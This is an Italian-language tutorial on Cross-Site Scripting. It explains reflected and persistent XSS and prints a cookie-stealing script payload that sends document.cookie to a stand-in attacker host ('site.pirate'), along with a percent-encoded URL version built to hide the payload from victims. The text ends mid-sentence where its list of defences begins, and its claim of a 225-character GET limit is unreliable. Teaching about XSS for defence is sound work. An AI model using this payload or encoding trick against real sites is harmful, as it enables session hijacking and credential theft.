Gli attacchi di tipo Cross-Site Scripting (denominato talvolta XSS o CSS) sono attacchi contro i siti web che visualizzano in modo dinamico il contenuto utilizzatore senza effettuare un controllo et una decodificazione delle informazioni inserite dagli utilizzatori. Gli attacchi Cross-Site Scripting consistono quindi nel forzare un sito web a visualizzare il codice HTML o gli script inseriti dagli utilizzatori. Il codice cosi incluso (si utilizza solitamente il termine « iniettato ») in un sito web vulnerabile è detto « nocivo ».
E' frequente che i siti visualizzino dei messaggi informativi riprendendo direttamente un parametro inserito dall'utilizzatore. L'esempio più classico è quello delle « pagine d'errore 404 ». Alcuni siti web modificano il comportamento del sito web, per poter visualizzare un messaggio d'errore personalizzato nel momento in cui la pagina richiesta dal visitatore non esiste. Talvolta la pagina generata in maniera dinamica visualizza il nome della pagina richiesta. Chiamiamo http://sito.vulnerabile un sito che possieda una falla di questo tipo. Il nome dell'URL http://sito.vulnerabile/pagina-inesistente corrispondente ad una pagina inesistente non provocherà la visualizzazione di un messaggio d'errore che indichi che la pagina « pagina-inesistente » non esiste. E' quindi possibile far visualizzare quello che si desidera al sito web sostituendo « pagina-inesistente » con un'altra stringa di caratteri.
A questo punto, se non è stato effettuato nessun controllo sul contenuto fornito dall'utilizzatore, è possibile visualizzare il codice HTML arbitrario su una pagina web, per cambiarne l'aspetto, il contenuto oppure il comportamento.
Inoltre, la maggiorparte dei navigatori sono capaci di interpretare degli script contenuti nelle pagine web, scritti in diversi linguaggi, come JavaScript, VBScript, Java, ActiveX o Flash. La segnalazione HTML seguente permettono di incorporare degli script di esecuzione in una pagina web: <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.
E' così possibile per un pirata iniettare un codice arbitrario nella pagina web, per far si che quest'ultimo venga messo in esecuzione sul terminale dell'utilizzatore in un contesto di sicurezza del sito vulnerabile. Per far questo, è sufficiente sostituire il valore del testo destinato ad essere visualizzato da uno script, per visualizzarlo nella pagina web. Per quanto il navigatore dell'utilizzatore sia configurato per eseguire questi script, il codice nocivo ha accesso all'isieme dei dati condivisi dalla pagina web dell'utilizzatore e dal server (cookies, campi di formulari, etc.).
Grazie alle vulnerabilità Cross-Site Scripting, un pirata può recuperare i dati scambiati tra l'utilizzatore e il sito web interessato. Il codice inserito nella pagina web può servire anche a visualizzare un formulario per ingannare l'utilizzatore e fargli inserire ad esempio delle informazioni di autentificazione.
D'altra parte, lo script inserito può permettere di reindirizzare l'utilizzatore verso una pagina sotto il controllo del pirata, che possieda eventualmente la stessa interfaccia grafica del sito compromesso per ingannare l'utilizzatore.
In un contesto simile, la fiducia esistente tra l'utilizzatore e il sito web è completamente compromessa.
Quando i dati inseriti dall'utilizzatore sono immagazzinati sul server per un certo lasso di tempo (ad esempio nel caso di un forum di discussione), l'attacco è detto « persistente ». In effetti, tutti gli utilizzatori del sito web hanno accesso alla pagina nella quale il codice nocivo è stato introdotto.
Gli attacchi detti « non persistenti » riguardano le pagine web dinamiche nelle quali una variabile inserita dall'utilizzatore viene visualizzata tale e quale (ad esempio la visualizzazione del nome dell'utilizzatore, della pagina in corso o della parola inserita nel campo di un formulario). Per poter sfruttare questa vulnerabilità, l'attaccante deve fornire alla vittima un URL modificato, passando il codice da inserire nel parametro. Inoltre, un URL che contiene degli elementi di codice Javascript potrà apparire sospetto alla vittima, ed è la ragione per la quale questo attacco è realizzato maggiormente codificandone i dati nell'URL, in modo che quest'ultimo nasconda all'utilizzatore il codice iniettato.
Supponiamo che l'homepage di Kioskea.net sia vulnerabile ad un attacco di tipo Cross-Site Scripting dato che permette di visualizzare nell'homepage un messaggio di benvenuto con il nome dell'utilizzatore parametrato :
http://it.kioskea.net/?nome=Jeff
Un malintenzionato può realizzare un attacco Cross-Site Scripting non persistente fornendo ad una vittima un indirizzo che sostituisca il nome « Jeff » con il codice HTML. Può soprattutto parametrare il codice Javascript seguente, che serve a reindirizzare l'utilizzatore verso una pagina di cui ha la il controllo :
<SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>
Il codice qui sopra recupera i cookies dell'utilizzatore e li trasmette in parametro ad uno script CGI. Un codice simile parametrato sarebbe troppo visibile :
http://it.kioskea.net/?nome=<SCRIPT>document.location ='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>
In compenso, il decodaggio dell'URL permette di mascherare l'attacco :
http://it.kioskea.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e
Nell'esempio precedente, l'insieme degli script è parametrato nell'URL. Il metodo GET, che permette di passare i parametri nell'URL è limitato ad una lunghezza totale di 225 caratteri per l'URL. Grazie all'attributo SRC del tag <SCRIPT>, è possibile eseguire il codice nocivo immagazzinato in uno script su un server remoto! Nella misura in cui è possibile inserire il codice partendo da una sorgente remota, questo attacco viene detto « Cross-Site » (« Cross-Site » significa letteralmente « tra siti »).
Da parte dell'utilizzatore, è possibile premunirsi contro gli attacchi CSS configurando il navigatore in modo da impedire l'esecuzione dei linguaggi di script. In realtà questa soluzione è spesso troppo costrittiva per l'utilizzatore dato che numerosi siti rifiutano di funzionare correttamente in assenza della possibilità di eseguire dei codici dinamici.
Il solo modo possibile per impedire gli attacchi Cross-Site Scripting consiste nel concepire dei siti web non vulnerabili. Per questo, l'ideatore di un sito web deve :